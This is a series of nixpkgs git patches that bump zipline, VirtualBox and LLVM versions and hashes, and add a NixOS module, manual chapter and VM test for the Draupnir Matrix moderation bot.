+    rev = "c2c14988c09e6c5fae5a8ac59c07a650f0997a5a";
+    hash = "sha256-xJw9BkdKlN1VToKyDlkW8UUZB94gzD9nclNciDmVIkk=";
+  };
+
+  vendorHash = "sha256-ptwP+ZuuzxRpIuNDoXnAML1KYEh9zTBcOs9YTI8z63A=";
+
+  passthru.updateScript = unstableGitUpdater { };
+
+  meta = {
+    homepage = "https://codeberg.org/aryak/mozhi";
+    description = "Alternative-frontend for many translation engines, fork of SimplyTranslate";
+    license = lib.licenses.agpl3Plus;
+    maintainers = [ lib.maintainers.ryand56 ];
+    mainProgram = "mozhi";
+  };
+}

From 0570da016536af029d47520612094ff7a3a4193c Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 6 Jun 2025 12:24:47 +0000
Subject: [PATCH 0667/4511] zipline: 4.1.0 -> 4.1.1

(cherry picked from commit b0afabcc289d6da392d76fbd19cf1673c9244337)
---
 pkgs/by-name/zi/zipline/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index 2bc70110809f..f31096bfe0a7 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -29,18 +29,18 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "zipline";
-  version = "4.1.0";
+  version = "4.1.1";
 
   src = fetchFromGitHub {
     owner = "diced";
     repo = "zipline";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-5qa2K17RmWHO5mrkz/Imoxv4ODEaJow3BMUBNzl7Dg8=";
+    hash = "sha256-5/qVczCypQ2HybpBzEJe9THsrT5Iu3md+IXffLJnVmQ=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-xFe1Fdsp8Tpz0r+xvPSYuPR8gXTts6iWTq0a9u+Xh3U=";
+    hash = "sha256-zpNl6Ua4xRvBa62IHf+frnk4tWQHHF/HyEYGuUF2a78=";
   };
 
   buildInputs = [ vips ];

From dbf3c4634f1f0230b30324222069c05c8a243a56 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andr=C3=A9=20Lima?= <me@limwa.pt>
Date: Wed, 4 Jun 2025 23:47:39 +0000
Subject: [PATCH 0668/4511] virtualbox: 7.1.8 -> 7.1.10

(cherry picked from commit 96c8709d826ef5c16d7741db7eac3dd6c11e9a68)
---
 .../virtualization/virtualbox/default.nix            | 12 +++++-------
 .../virtualization/virtualbox/extpack.nix            |  4 ++--
 .../virtualbox/guest-additions-iso/default.nix       |  2 +-
 .../virtualbox/guest-additions/default.nix           |  4 ++--
 pkgs/top-level/all-packages.nix                      |  1 -
 5 files changed, 10 insertions(+), 13 deletions(-)

diff --git a/pkgs/applications/virtualization/virtualbox/default.nix b/pkgs/applications/virtualization/virtualbox/default.nix
index 3c9ba2e744cb..b36afd4bdc7f 100644
--- a/pkgs/applications/virtualization/virtualbox/default.nix
+++ b/pkgs/applications/virtualization/virtualbox/default.nix
@@ -16,7 +16,6 @@
   libXcursor,
   libXfixes,
   libXmu,
-  libIDL,
   SDL2,
   libcap,
   libGL,
@@ -74,9 +73,9 @@ let
   buildType = "release";
   # Use maintainers/scripts/update.nix to update the version and all related hashes or
   # change the hashes in extpack.nix and guest-additions/default.nix as well manually.
-  virtualboxVersion = "7.1.8";
+  virtualboxVersion = "7.1.10";
   virtualboxSubVersion = "";
-  virtualboxSha256 = "3f7132c55ac6c5f50585bfaa115d29e30b47ccf535cb0a12ff50214ddae2f63d";
+  virtualboxSha256 = "7d60010a4c9102613554b46f61d17b825c30ee59d8be071e52d8aac664ca9869";
 
   kvmPatchVersion = "20250207";
   kvmPatchHash = "sha256-GzRLIXhzWL1NLvaGKcWVBCdvay1IxgJUE4koLX1ze7Y=";
@@ -148,7 +147,6 @@ stdenv.mkDerivation (finalAttrs: {
       libX11
       libXext
       libXcursor
-      libIDL
       libcap
       glib
       lvm2
@@ -249,8 +247,8 @@ stdenv.mkDerivation (finalAttrs: {
     ++ optional enableKvm (
       let
         patchVboxVersion =
-          # There is no updated patch for 7.1.8 yet, but the older one still applies.
-          if finalAttrs.virtualboxVersion == "7.1.8" then "7.1.6" else finalAttrs.virtualboxVersion;
+          # There is no updated patch for 7.1.10 yet, but the older one still applies.
+          if finalAttrs.virtualboxVersion == "7.1.10" then "7.1.6" else finalAttrs.virtualboxVersion;
       in
       fetchpatch {
         name = "virtualbox-${finalAttrs.virtualboxVersion}-kvm-dev-${finalAttrs.kvmPatchVersion}.patch";
@@ -320,7 +318,7 @@ stdenv.mkDerivation (finalAttrs: {
       ${optionalString (enableKvm) "--with-kvm"} \
       ${extraConfigureFlags} \
       --disable-kmods
-    sed -e 's@PKG_CONFIG_PATH=.*@PKG_CONFIG_PATH=${libIDL}/lib/pkgconfig:${glib.dev}/lib/pkgconfig ${libIDL}/bin/libIDL-config-2@' \
+    sed -e 's@PKG_CONFIG_PATH=.*@PKG_CONFIG_PATH=${glib.dev}/lib/pkgconfig@' \
         -i AutoConfig.kmk
     sed -e 's@arch/x86/@@' \
         -i Config.kmk
diff --git a/pkgs/applications/virtualization/virtualbox/extpack.nix b/pkgs/applications/virtualization/virtualbox/extpack.nix
index a26f3a0cac3f..3d771d975798 100644
--- a/pkgs/applications/virtualization/virtualbox/extpack.nix
+++ b/pkgs/applications/virtualization/virtualbox/extpack.nix
@@ -4,7 +4,7 @@
   virtualbox,
 }:
 let
-  virtualboxExtPackVersion = "7.1.8";
+  virtualboxExtPackVersion = "7.1.10";
 in
 fetchurl rec {
   name = "Oracle_VirtualBox_Extension_Pack-${virtualboxExtPackVersion}.vbox-extpack";
@@ -14,7 +14,7 @@ fetchurl rec {
     # Thus do not use `nix-prefetch-url` but instead plain old `sha256sum`.
     # Checksums can also be found at https://www.virtualbox.org/download/hashes/${version}/SHA256SUMS
     let
-      value = "912586a3a1e9285f9df264f7999e6fffc0b8a42f2e013dd898a86f7ed3975d37";
+      value = "e020755711849fa0ee23d3bc47bc90cb0ea595da7dda804499568a0dc2387989";
     in
     assert (builtins.stringLength value) == 64;
     value;
diff --git a/pkgs/applications/virtualization/virtualbox/guest-additions-iso/default.nix b/pkgs/applications/virtualization/virtualbox/guest-additions-iso/default.nix
index 008a41353afe..d78248dbb752 100644
--- a/pkgs/applications/virtualization/virtualbox/guest-additions-iso/default.nix
+++ b/pkgs/applications/virtualization/virtualbox/guest-additions-iso/default.nix
@@ -5,7 +5,7 @@
 }:
 fetchurl {
   url = "http://download.virtualbox.org/virtualbox/${virtualboxVersion}/VBoxGuestAdditions_${virtualboxVersion}.iso";
-  sha256 = "0001ed19cc389f04723c9b911338559b9b74bea0d24edf794d8d2ce5b5cb14e0";
+  sha256 = "59c92f7f5fd7e081211e989f5117fc53ad8d8800ad74a01b21e97bb66fe62972";
   meta = {
     description = "Guest additions ISO for VirtualBox";
     longDescription = ''
diff --git a/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix b/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix
index 6de71ef33067..3d8cbf6fe5f3 100644
--- a/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix
+++ b/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix
@@ -12,9 +12,9 @@
   libX11,
 }:
 let
-  virtualboxVersion = "7.1.8";
+  virtualboxVersion = "7.1.10";
   virtualboxSubVersion = "";
-  virtualboxSha256 = "3f7132c55ac6c5f50585bfaa115d29e30b47ccf535cb0a12ff50214ddae2f63d";
+  virtualboxSha256 = "7d60010a4c9102613554b46f61d17b825c30ee59d8be071e52d8aac664ca9869";
 
   virtualBoxNixGuestAdditionsBuilder = callPackage ./builder.nix {
     inherit virtualboxVersion virtualboxSubVersion virtualboxSha256;
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index d50cbd1d4361..df91e3573037 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -14403,7 +14403,6 @@ with pkgs;
 
   virtualbox = libsForQt5.callPackage ../applications/virtualization/virtualbox {
     stdenv = stdenv_32bit;
-    inherit (gnome2) libIDL;
 
     # VirtualBox uses wsimport, which was removed after JDK 8.
     jdk = jdk8;

From 95cca093e057d3566c11705ce76ac88c1aaf7fa6 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Fri, 30 May 2025 16:16:53 -0700
Subject: [PATCH 0669/4511] llvmPackages_20: 20.1.5 -> 20.1.6

(cherry picked from commit f9460c7b56e158f1f1d7b7487e6f0886257c2b9b)
---
 .../compilers/llvm/common/llvm/default.nix           | 12 +-----------
 pkgs/development/compilers/llvm/default.nix          |  2 +-
 2 files changed, 2 insertions(+), 12 deletions(-)

diff --git a/pkgs/development/compilers/llvm/common/llvm/default.nix b/pkgs/development/compilers/llvm/common/llvm/default.nix
index e7d12650fa47..a605c17e492c 100644
--- a/pkgs/development/compilers/llvm/common/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/common/llvm/default.nix
@@ -294,17 +294,7 @@ stdenv.mkDerivation (
       ++
         lib.optional (lib.versionAtLeast release_version "15")
           # Just like the `llvm-lit-cfg` patch, but for `polly`.
-          (getVersionFile "llvm/polly-lit-cfg-add-libs-to-dylib-path.patch")
-      ++
-        lib.optional (lib.versions.major release_version == "20")
-          # https://github.com/llvm/llvm-project/pull/139822 adds a commit which didn't get backported but is necessary for tests.
-          (
-            fetchpatch {
-              url = "https://github.com/llvm/llvm-project/commit/ff2e8f93f6090965e82d799af43f6dfef52baa66.patch";
-              stripLen = 1;
-              hash = "sha256-CZBTZKzi4cYkZhgTB5oXIo1UdEAArg9I4vR/m0upSRk=";
-            }
-          );
+          (getVersionFile "llvm/polly-lit-cfg-add-libs-to-dylib-path.patch");
 
     nativeBuildInputs =
       [
diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 1762da6b16a8..9fc862c71751 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -31,7 +31,7 @@ let
     "17.0.6".officialRelease.sha256 = "sha256-8MEDLLhocshmxoEBRSKlJ/GzJ8nfuzQ8qn0X/vLA+ag=";
     "18.1.8".officialRelease.sha256 = "sha256-iiZKMRo/WxJaBXct9GdAcAT3cz9d9pnAcO1mmR6oPNE=";
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
-    "20.1.5".officialRelease.sha256 = "sha256-WKfY+VvAsZEEc0xYgF6+MsXDXZz7haMU6bxqmUpaHuQ=";
+    "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.0.0-git".gitRelease = {
       rev = "9e2684e4cfb0a7e30d5e49f812127d07cdda600d";
       rev-version = "21.0.0-unstable-2025-06-06";

From 03981db98ff489f3bb4013538b13da60d3cb7f71 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 6 Jun 2025 18:07:20 +0000
Subject: [PATCH 0670/4511] zipline: 4.1.1 -> 4.1.2

(cherry picked from commit bab9d019285a938e356ef9e6f157a7644c4232f7)
---
 pkgs/by-name/zi/zipline/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index f31096bfe0a7..46186f60ea81 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -29,18 +29,18 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "zipline";
-  version = "4.1.1";
+  version = "4.1.2";
 
   src = fetchFromGitHub {
     owner = "diced";
     repo = "zipline";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-5/qVczCypQ2HybpBzEJe9THsrT5Iu3md+IXffLJnVmQ=";
+    hash = "sha256-xxe64tGxZ2Udr+p21CKTZCHJ19ZOsdgPLlil+v+j5j4=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-zpNl6Ua4xRvBa62IHf+frnk4tWQHHF/HyEYGuUF2a78=";
+    hash = "sha256-O8RLaKff4Dj/JDeUOyf7GtcFcOu/aOuclyaZmVqVi5s=";
   };
 
   buildInputs = [ vips ];

From 297dbf2ae465a5a03594f9ee41e1d34871577ec4 Mon Sep 17 00:00:00 2001
From: Rory& <root@rory.gay>
Date: Thu, 25 Apr 2024 12:54:37 +0000
Subject: [PATCH 0671/4511] nixos/draupnir: init

Co-authored-by: emilylange <git@emilylange.de>
Co-authored-by: Martin Weinelt <hexa@darmstadt.ccc.de>
Co-authored-by: teutat3s <10206665+teutat3s@users.noreply.github.com>

(cherry picked from commit 4b153aad5d363b9d88ca4b47b4628f8032d05863)
---
 nixos/doc/manual/redirects.json            |   9 +
 nixos/modules/module-list.nix              |   1 +
 nixos/modules/services/matrix/draupnir.md  |  62 +++++
 nixos/modules/services/matrix/draupnir.nix | 257 +++++++++++++++++++++
 4 files changed, 329 insertions(+)
 create mode 100644 nixos/modules/services/matrix/draupnir.md
 create mode 100644 nixos/modules/services/matrix/draupnir.nix

diff --git a/nixos/doc/manual/redirects.json b/nixos/doc/manual/redirects.json
index 877f4c8a72ad..4b0c67e6603e 100644
--- a/nixos/doc/manual/redirects.json
+++ b/nixos/doc/manual/redirects.json
@@ -734,6 +734,15 @@
   "module-services-davis-basic-usage": [
     "index.html#module-services-davis-basic-usage"
   ],
+  "module-services-draupnir": [
+    "index.html#module-services-draupnir"
+  ],
+  "module-services-draupnir-setup": [
+    "index.html#module-services-draupnir-setup"
+  ],
+  "module-services-draupnir-setup-ems": [
+    "index.html#module-services-draupnir-setup-ems"
+  ],
   "module-services-castopod": [
     "index.html#module-services-castopod"
   ],
diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index 4f6364341609..41080f1d8965 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -755,6 +755,7 @@
   ./services/matrix/conduit.nix
   ./services/matrix/continuwuity.nix
   ./services/matrix/dendrite.nix
+  ./services/matrix/draupnir.nix
   ./services/matrix/hebbot.nix
   ./services/matrix/hookshot.nix
   ./services/matrix/lk-jwt-service.nix
diff --git a/nixos/modules/services/matrix/draupnir.md b/nixos/modules/services/matrix/draupnir.md
new file mode 100644
index 000000000000..1d6bce2c4e63
--- /dev/null
+++ b/nixos/modules/services/matrix/draupnir.md
@@ -0,0 +1,62 @@
+# Draupnir (Matrix Moderation Bot) {#module-services-draupnir}
+
+This chapter will show you how to set up your own, self-hosted
+[Draupnir](https://github.com/the-draupnir-project/Draupnir) instance.
+
+As an all-in-one moderation tool, it can protect your server from
+malicious invites, spam messages, and whatever else you don't want.
+In addition to server-level protection, Draupnir is great for communities
+wanting to protect their rooms without having to use their personal
+accounts for moderation.
+
+The bot by default includes support for bans, redactions, anti-spam,
+server ACLs, room directory changes, room alias transfers, account
+deactivation, room shutdown, and more. (This depends on homeserver configuration and implementation.)
+
+See the [README](https://github.com/the-draupnir-project/draupnir#readme)
+page and the [Moderator's guide](https://the-draupnir-project.github.io/draupnir-documentation/moderator/setting-up-and-configuring)
+for additional instructions on how to setup and use Draupnir.
+
+For [additional settings](#opt-services.draupnir.settings)
+see [the default configuration](https://github.com/the-draupnir-project/Draupnir/blob/main/config/default.yaml).
+
+## Draupnir Setup {#module-services-draupnir-setup}
+
+First create a new unencrypted, private room which will be used as the management room for Draupnir.
+This is the room in which moderators will interact with Draupnir and where it will log possible errors and debugging information.
+You'll need to set this room ID or alias in [services.draupnir.settings.managementRoom](#opt-services.draupnir.settings.managementRoom).
+
+Next, create a new user for Draupnir on your homeserver, if one does not already exist.
+
+The Draupnir Matrix user expects to be free of any rate limiting.
+See [Synapse #6286](https://github.com/matrix-org/synapse/issues/6286)
+for an example on how to achieve this.
+
+If you want Draupnir to be able to deactivate users, move room aliases, shut down rooms, etc.
+you'll need to make the Draupnir user a Matrix server admin.
+
+Now invite the Draupnir user to the management room.
+Draupnir will automatically try to join this room on startup.
+
+```nix
+{
+  services.draupnir = {
+    enable = true;
+
+    settings = {
+      homeserverUrl = "https://matrix.org";
+      managementRoom = "!yyy:example.org";
+    };
+
+    secrets = {
+      accessToken = "/path/to/secret/containing/access-token";
+    };
+  };
+}
+```
+
+### Element Matrix Services (EMS) {#module-services-draupnir-setup-ems}
+
+If you are using a managed ["Element Matrix Services (EMS)"](https://ems.element.io/)
+server, you will need to consent to the terms and conditions. Upon startup, an error
+log entry with a URL to the consent page will be generated.
diff --git a/nixos/modules/services/matrix/draupnir.nix b/nixos/modules/services/matrix/draupnir.nix
new file mode 100644
index 000000000000..e4dfa5d2917b
--- /dev/null
+++ b/nixos/modules/services/matrix/draupnir.nix
@@ -0,0 +1,257 @@
+{
+  config,
+  options,
+  lib,
+  pkgs,
+  ...
+}:
+
+let
+  cfg = config.services.draupnir;
+  opt = options.services.draupnir;
+
+  format = pkgs.formats.yaml { };
+  configFile = format.generate "draupnir.yaml" cfg.settings;
+
+  inherit (lib)
+    literalExpression
+    mkEnableOption
+    mkOption
+    mkPackageOption
+    mkRemovedOptionModule
+    mkRenamedOptionModule
+    types
+    ;
+in
+{
+  imports = [
+    # Removed options for those migrating from the Mjolnir module
+    (mkRenamedOptionModule
+      [ "services" "draupnir" "dataPath" ]
+      [ "services" "draupnir" "settings" "dataPath" ]
+    )
+    (mkRenamedOptionModule
+      [ "services" "draupnir" "homeserverUrl" ]
+      [ "services" "draupnir" "settings" "homeserverUrl" ]
+    )
+    (mkRenamedOptionModule
+      [ "services" "draupnir" "managementRoom" ]
+      [ "services" "draupnir" "settings" "managementRoom" ]
+    )
+    (mkRenamedOptionModule
+      [ "services" "draupnir" "accessTokenFile" ]
+      [ "services" "draupnir" "secrets" "accessToken" ]
+    )
+    (mkRemovedOptionModule [ "services" "draupnir" "pantalaimon" ] ''
+      `services.draupnir.pantalaimon.*` has been removed because it depends on the deprecated and vulnerable
+      libolm library for end-to-end encryption and upstream support for Pantalaimon in Draupnir is limited.
+      See <https://the-draupnir-project.github.io/draupnir-documentation/bot/encryption> for details.
+      If you nontheless require E2EE via Pantalaimon, you can configure `services.pantalaimon-headless.instances`
+      yourself and use that with `services.draupnir.settings.pantalaimon` and `services.draupnir.secrets.pantalaimon.password`.
+    '')
+  ];
+
+  options.services.draupnir = {
+    enable = mkEnableOption "Draupnir, a moderations bot for Matrix";
+
+    package = mkPackageOption pkgs "draupnir" { };
+
+    settings = mkOption {
+      example = literalExpression ''
+        {
+          homeserverUrl = "https://matrix.org";
+          managementRoom = "#moderators:example.org";
+
+          autojoinOnlyIfManager = true;
+          automaticallyRedactForReasons = [ "spam" "advertising" ];
+        }
+      '';
+      description = ''
+        Free-form settings written to Draupnir's configuration file.
+        See [Draupnir's default configuration](https://github.com/the-draupnir-project/Draupnir/blob/main/config/default.yaml) for available settings.
+      '';
+      default = { };
+      type = types.submodule {
+        freeformType = format.type;
+        options = {
+          homeserverUrl = mkOption {
+            type = types.str;
+            example = "https://matrix.org";
+            description = ''
+              Base URL of the Matrix homeserver that provides the Client-Server API.
+
+              ::: {.note}
+              When using Pantalaimon, set this to the Pantalaimon URL and
+              {option}`${opt.settings}.rawHomeserverUrl` to the public URL.
+              :::
+            '';
+          };
+
+          rawHomeserverUrl = mkOption {
+            type = types.str;
+            example = "https://matrix.org";
+            default = cfg.settings.homeserverUrl;
+            defaultText = literalExpression "config.${opt.settings}.homeserverUrl";
+            description = ''
+              Public base URL of the Matrix homeserver that provides the Client-Server API when using the Draupnir's
+              [Report forwarding feature](https://the-draupnir-project.github.io/draupnir-documentation/bot/homeserver-administration#report-forwarding).
+
+              ::: {.warning}
+              When using Pantalaimon, do not set this to the Pantalaimon URL!
+              :::
+            '';
+          };
+
+          managementRoom = mkOption {
+            type = types.str;
+            example = "#moderators:example.org";
+            description = ''
+              The room ID or alias where moderators can use the bot's functionality.
+
+              The bot has no access controls, so anyone in this room can use the bot - secure this room!
+              Do not enable end-to-end encryption for this room, unless set up with Pantalaimon.
+
+              ::: {.warning}
+              When using a room alias, make sure the alias used is on the local homeserver!
+              This prevents an issue where the control room becomes undefined when the alias can't be resolved.
+              :::
+            '';
+          };
+
+          dataPath = mkOption {
+            type = types.path;
+            readOnly = true;
+            default = "/var/lib/draupnir";
+            description = ''
+              The path Draupnir will store its state/data in.
+
+              ::: {.warning}
+              This option is read-only.
+              :::
+
+              ::: {.note}
+              If you want to customize where this data is stored, use a bind mount.
+              :::
+            '';
+          };
+        };
+      };
+    };
+
+    secrets = {
+      accessToken = mkOption {
+        type = types.nullOr types.path;
+        default = null;
+        description = ''
+          File containing the access token for Draupnir's Matrix account
+          to be used in place of {option}`${opt.settings}.accessToken`.
+        '';
+      };
+
+      pantalaimon.password = mkOption {
+        type = types.nullOr types.path;
+        default = null;
+        description = ''
+          File containing the password for Draupnir's Matrix account when used in
+          conjunction with Pantalaimon to be used in place of
+          {option}`${opt.settings}.pantalaimon.password`.
+
+          ::: {.warning}
+          Take note that upstream has limited Pantalaimon and E2EE support:
+          <https://the-draupnir-project.github.io/draupnir-documentation/bot/encryption> and
+          <https://the-draupnir-project.github.io/draupnir-documentation/shared/dogfood#e2ee-support>.
+          :::
+        '';
+      };
+
+      web.synapseHTTPAntispam.authorization = mkOption {
+        type = types.nullOr types.path;
+        default = null;
+        description = ''
+          File containing the secret token when using the Synapse HTTP Antispam module
+          to be used in place of
+          {option}`${opt.settings}.web.synapseHTTPAntispam.authorization`.
+
+          See <https://the-draupnir-project.github.io/draupnir-documentation/bot/synapse-http-antispam> for details.
+        '';
+      };
+    };
+  };
+
+  config = lib.mkIf cfg.enable {
+    assertions = [
+      {
+        # Removed option for those migrating from the Mjolnir module - mkRemovedOption module does *not* work with submodules.
+        assertion = !(cfg.settings ? protectedRooms);
+        message = "Unset ${opt.settings}.protectedRooms, as it is unsupported on Draupnir. Add these rooms via `!draupnir rooms add` instead.";
+      }
+    ];
+
+    systemd.services.draupnir = {
+      description = "Draupnir - a moderation bot for Matrix";
+      wants = [
+        "network-online.target"
+        "matrix-synapse.service"
+        "conduit.service"
+        "dendrite.service"
+      ];
+      after = [
+        "network-online.target"
+        "matrix-synapse.service"
+        "conduit.service"
+        "dendrite.service"
+      ];
+      wantedBy = [ "multi-user.target" ];
+
+      startLimitIntervalSec = 0;
+      serviceConfig = {
+        ExecStart = toString (
+          [
+            (lib.getExe cfg.package)
+            "--draupnir-config"
+            configFile
+          ]
+          ++ lib.optionals (cfg.secrets.accessToken != null) [
+            "--access-token-path"
+            "%d/access_token"
+          ]
+          ++ lib.optionals (cfg.secrets.pantalaimon.password != null) [
+            "--pantalaimon-password-path"
+            "%d/pantalaimon_password"
+          ]
+          ++ lib.optionals (cfg.secrets.web.synapseHTTPAntispam.authorization != null) [
+            "--http-antispam-authorization-path"
+            "%d/http_antispam_authorization"
+          ]
+        );
+
+        WorkingDirectory = "/var/lib/draupnir";
+        StateDirectory = "draupnir";
+        StateDirectoryMode = "0700";
+        ProtectHome = true;
+        PrivateDevices = true;
+        Restart = "on-failure";
+        RestartSec = "5s";
+        DynamicUser = true;
+        LoadCredential =
+          lib.optionals (cfg.secrets.accessToken != null) [
+            "access_token:${cfg.secrets.accessToken}"
+          ]
+          ++ lib.optionals (cfg.secrets.pantalaimon.password != null) [
+            "pantalaimon_password:${cfg.secrets.pantalaimon.password}"
+          ]
+          ++ lib.optionals (cfg.secrets.web.synapseHTTPAntispam.authorization != null) [
+            "http_antispam_authorization:${cfg.secrets.web.synapseHTTPAntispam.authorization}"
+          ];
+      };
+    };
+  };
+
+  meta = {
+    doc = ./draupnir.md;
+    maintainers = with lib.maintainers; [
+      RorySys
+      emilylange
+    ];
+  };
+}

From 138030fb2bf32c8c26f45dd51f4bc35bc59b640d Mon Sep 17 00:00:00 2001
From: Rory& <root@rory.gay>
Date: Thu, 25 Apr 2024 12:54:56 +0000
Subject: [PATCH 0672/4511] nixosTests.draupnir: init

Co-authored-by: emilylange <git@emilylange.de>
Co-authored-by: Martin Weinelt <hexa@darmstadt.ccc.de>
Co-authored-by: teutat3s <10206665+teutat3s@users.noreply.github.com>
(cherry picked from commit d6413ba43682273de9595d4193f64209ff8d770e)
---
 nixos/tests/all-tests.nix            |   1 +
 nixos/tests/matrix/draupnir.nix      | 150 +++++++++++++++++++++++++++
 pkgs/by-name/dr/draupnir/package.nix |   6 +-
 3 files changed, 156 insertions(+), 1 deletion(-)
 create mode 100644 nixos/tests/matrix/draupnir.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 3be71541b4ed..e27dce1734ce 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -409,6 +409,7 @@ in
   dovecot = handleTest ./dovecot.nix { };
   drawterm = discoverTests (import ./drawterm.nix);
   drbd = handleTest ./drbd.nix { };
+  draupnir = runTest ./matrix/draupnir.nix;
   druid = handleTestOn [ "x86_64-linux" ] ./druid { };
   drbd-driver = handleTest ./drbd-driver.nix { };
   dublin-traceroute = handleTest ./dublin-traceroute.nix { };
diff --git a/nixos/tests/matrix/draupnir.nix b/nixos/tests/matrix/draupnir.nix
new file mode 100644
index 000000000000..18dae8b2fffb
--- /dev/null
+++ b/nixos/tests/matrix/draupnir.nix
@@ -0,0 +1,150 @@
+{
+  lib,
+  ...
+}:
+
+{
+  name = "draupnir";
+  meta.maintainers = with lib.maintainers; [
+    RorySys
+    emilylange
+  ];
+
+  nodes = {
+    homeserver =
+      { pkgs, ... }:
+      {
+        services.matrix-synapse = {
+          enable = true;
+          log.root.level = "WARNING";
+          settings = {
+            database.name = "sqlite3";
+            registration_shared_secret = "supersecret-registration";
+
+            listeners = [
+              {
+                bind_addresses = [
+                  "::"
+                ];
+                port = 8008;
+                resources = [
+                  {
+                    compress = true;
+                    names = [ "client" ];
+                  }
+                  {
+                    compress = false;
+                    names = [ "federation" ];
+                  }
+                ];
+                tls = false;
+                type = "http";
+                x_forwarded = false;
+              }
+            ];
+          };
+        };
+
+        specialisation.draupnir = {
+          inheritParentConfig = true;
+
+          configuration.services.draupnir = {
+            enable = true;
+            settings = {
+              homeserverUrl = "http://localhost:8008";
+              managementRoom = "#moderators:homeserver";
+            };
+            secrets = {
+              accessToken = "/tmp/draupnir-access-token";
+            };
+          };
+        };
+
+        environment.systemPackages = with pkgs; [
+          curl
+          jq
+          (writers.writePython3Bin "test_draupnir_in_matrix"
+            {
+              libraries = [ python3Packages.matrix-nio ];
+              flakeIgnore = [ "E501" ];
+            }
+            ''
+              import asyncio
+              from nio import AsyncClient, MatrixRoom, RoomMemberEvent, RoomMessageNotice
+
+
+              async def main() -> None:
+                  client = AsyncClient("http://localhost:8008", "moderator")
+
+                  async def member_callback(room: MatrixRoom, event: RoomMemberEvent) -> None:
+                      if event.membership == "join" and event.sender == "@draupnir:homeserver":
+                          await client.room_send(
+                              room_id=room.room_id,
+                              message_type="m.room.message",
+                              content={
+                                  "msgtype": "m.text",
+                                  "body": "!draupnir status"
+                              }
+                          )
+
+                  async def message_callback(room: MatrixRoom, event: RoomMessageNotice) -> None:
+                      print(f"{event.sender}: {event.body}")
+                      if event.sender == "@draupnir:homeserver":
+                          await client.close()
+                          exit(0)
+
+                  client.add_event_callback(member_callback, RoomMemberEvent)
+                  client.add_event_callback(message_callback, RoomMessageNotice)
+
+                  print(await client.login("password"))
+
+                  room = await client.room_create(
+                      name="Moderators",
+                      alias="moderators",
+                      invite=["@draupnir:homeserver"],
+                      power_level_override={
+                          "users": {
+                              "@draupnir:homeserver": 100,
+                              "@moderator:homeserver": 100,
+                          }
+                      }
+                  )
+                  print(room)
+
+                  print(await client.join(room.room_id))
+
+                  await client.sync_forever(timeout=30000)
+
+
+              asyncio.run(main())
+            ''
+          )
+        ];
+      };
+  };
+
+  testScript =
+    { nodes, ... }:
+    ''
+      import json
+
+      homeserver.wait_for_unit("matrix-synapse.service")
+      homeserver.wait_until_succeeds("curl --fail -L http://localhost:8008/")
+
+      homeserver.succeed("matrix-synapse-register_new_matrix_user -u draupnir -p password --no-admin")
+      homeserver.succeed("matrix-synapse-register_new_matrix_user -u moderator -p password --no-admin")
+
+      # get draupnir access token
+      payload = json.dumps({ "type": "m.login.password", "user": "draupnir", "password": "password" })
+      homeserver.succeed(
+          f"curl --fail --json '{payload}' http://localhost:8008/_matrix/client/v3/login"
+          + " | jq -r .access_token"
+          + " | tee /tmp/draupnir-access-token"
+       )
+
+      homeserver.succeed("${nodes.homeserver.system.build.toplevel}/specialisation/draupnir/bin/switch-to-configuration test")
+      homeserver.wait_for_unit("draupnir.service")
+
+      print(homeserver.succeed("test_draupnir_in_matrix >&2", timeout=60))
+    '';
+}
diff --git a/pkgs/by-name/dr/draupnir/package.nix b/pkgs/by-name/dr/draupnir/package.nix
index 9fbc2e62e9b9..3670dd5d13bb 100644
--- a/pkgs/by-name/dr/draupnir/package.nix
+++ b/pkgs/by-name/dr/draupnir/package.nix
@@ -12,6 +12,7 @@
   fetchYarnDeps,
   stdenv,
   cctools,
+  nixosTests,
 }:
 
 # docs: https://github.com/NixOS/nixpkgs/blob/master/doc/languages-frameworks/javascript.section.md#yarn2nix-javascript-yarn2nix
@@ -95,7 +96,10 @@ mkYarnPackage rec {
 
   distPhase = "true";
 
-  passthru.updateScript = ./update.sh;
+  passthru = {
+    tests = { inherit (nixosTests) draupnir; };
+    updateScript = ./update.sh;
+  };
 
   meta = with lib; {
